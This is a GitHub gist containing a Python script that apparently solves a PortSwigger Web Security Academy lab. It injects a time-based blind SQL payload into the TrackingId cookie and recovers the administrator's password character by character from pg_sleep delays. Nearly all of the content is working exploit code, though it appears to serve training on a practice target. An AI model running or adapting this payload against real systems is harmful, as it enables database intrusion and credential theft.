Skip to content

Instantly share code, notes, and snippets.

@KrE80r
Last active June 10, 2021 06:15
Show Gist options
  • Save KrE80r/83e429178a7c53a4ad79ccc9572091d4 to your computer and use it in GitHub Desktop.
Save KrE80r/83e429178a7c53a4ad79ccc9572091d4 to your computer and use it in GitHub Desktop.
import requests
import sys
import string
def blind_sql_injection(url, length):
output = ''
target = url
headers={}
chars = string.digits + string.ascii_letters
for i in range(1, length+1):
base_cookie = "TrackingId=VVXZ5soYhRzXLKyj'%%3BSELECT+CASE+WHEN+(username='administrator'+AND+SUBSTRING(password,%s,1)='[CHAR]')+THEN+pg_sleep(8)+ELSE+pg_sleep(0)+END+FROM+users--; session=OgsZsGdBcQnsSGqgwH3DXryrixIpLxn9"%(str(i))
for char in chars:
print("Currently trying digit %s with: "%str(i), char)
cookie = base_cookie.replace("[CHAR]",char)
headers["cookie"]=cookie
# print(cookie)
try:
res = requests.get(url, headers=headers, timeout=6)
except Exception as e:
# verify it again
try:
res = requests.get(url, headers=headers, timeout=6)
except Exception as e:
output += char
break
print("Current password: ", output)
url = "https://acf51fe91e8eaf8e80791b9200df0094.web-security-academy.net/"
blind_sql_injection(url, 20)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment